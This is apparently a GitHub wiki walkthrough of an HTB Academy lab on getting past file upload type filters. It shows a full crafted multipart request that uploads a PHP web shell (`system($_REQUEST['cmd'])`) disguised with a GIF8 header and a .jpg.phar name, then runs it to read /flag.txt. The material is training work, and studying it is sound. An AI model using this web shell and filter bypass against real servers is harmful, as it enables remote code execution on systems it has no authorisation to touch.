HTB Academy: File Upload Attacks ‐ Type Filters - 570n3p057/570n3p057 GitHub Wiki

HTB Academy

File Upload Attacks: Type Filters

Question

The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"

Walkthrough

This one was a bit eh' for me. I understood what was being asked for this part of the "File Upload Attacks module", but just was not jiving.

So with all web based challenges I look at the source first:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Employee File Manager</title>
  <link rel="stylesheet" href="./style.css">
</head>

<body>
  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
  <script src="./script.js"></script>
  <div>
    <h1>Update your profile image</h1>
    <center>
      <form action="upload.php" method="POST" enctype="multipart/form-data" id="uploadForm">
        <input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
        <img src='/profile_images/default.jpg' class='profile-image' id='profile-image'>
        <input type="submit" value="Upload" id="submit">
      </form>
      <br>
      <h2 id="error_message"></h2>
    </center>
  </div>
</body>

</html>

With this being a file upload challenge, and per the question:

Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters

With the 5 filters known, we can work through them:

Client-Side can be bypassed using Burp Suite Proxy tool, we can stop the request before leaving our system, editing the request, and bypassing the client-side filter.

Blacklist can be analyzed using Burp Suite Intruder fuzzing tool. Use a list of known file extensions and fuzz against them.

Whitelist Just as above, can be fuzzed, of course it would just be the list of accepted file extensions from above.

Content-Type We know what file types are accepted through the source code above, accept=".jpg,.jpeg,.png giving us the options of Content-Type: image/.jpg, Content-Type: image/.jpeg, Content-Type: image/.png.

MIME-Type Can be any of the image file type codes that are found during hexdump -C, in the case of this situation lets just use the generic GIF code of GIF8.

Let us build the request:

POST /upload.php HTTP/1.1
Host: 94.237.51.149:44441
Content-Length: 235
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXu1yUzlslF1SoakL
Origin: http://94.237.51.149:44441/
Referer: http://94.237.51.149:44441/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

------WebKitFormBoundaryXu1yUzlslF1SoakL
Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg.phar"
Content-Type: image/jpg

GIF8
<?php system($_REQUEST['cmd']); ?>

------WebKitFormBoundaryXu1yUzlslF1SoakL--

Now visit visit http://<target_ip>:/, and with the Burp Suite Proxy tool enable Intercept On, click on 'Upload' to get the request.

Once the request is populated in the Intercept tab in Burp Suite, enter the following in the same as above: ; filename="shell.jpg.phar"

Content-Type: image/jpg

GIF8

<?php system($_REQUEST['cmd']); ?>

Press send and watch for the response to show a similar output:

HTTP/1.1 200 OK
Date: Sat, 15 Jun 2024 22:43:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 26
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

File successfully uploaded

Once you have arrived to this point, visit the page with the command of your choice:

http://94.237.51.149:44441/profile_images/shell.jpg.phar?cmd=<command_of_choice>

In my case I used:

http://94.237.51.149:44441/profile_images/shell.jpg.phar?cmd=cat%20/flag.txt

and I received:

GIF8 HTB{REDACTED}

⚠️ **GitHub.com Fallback** ⚠️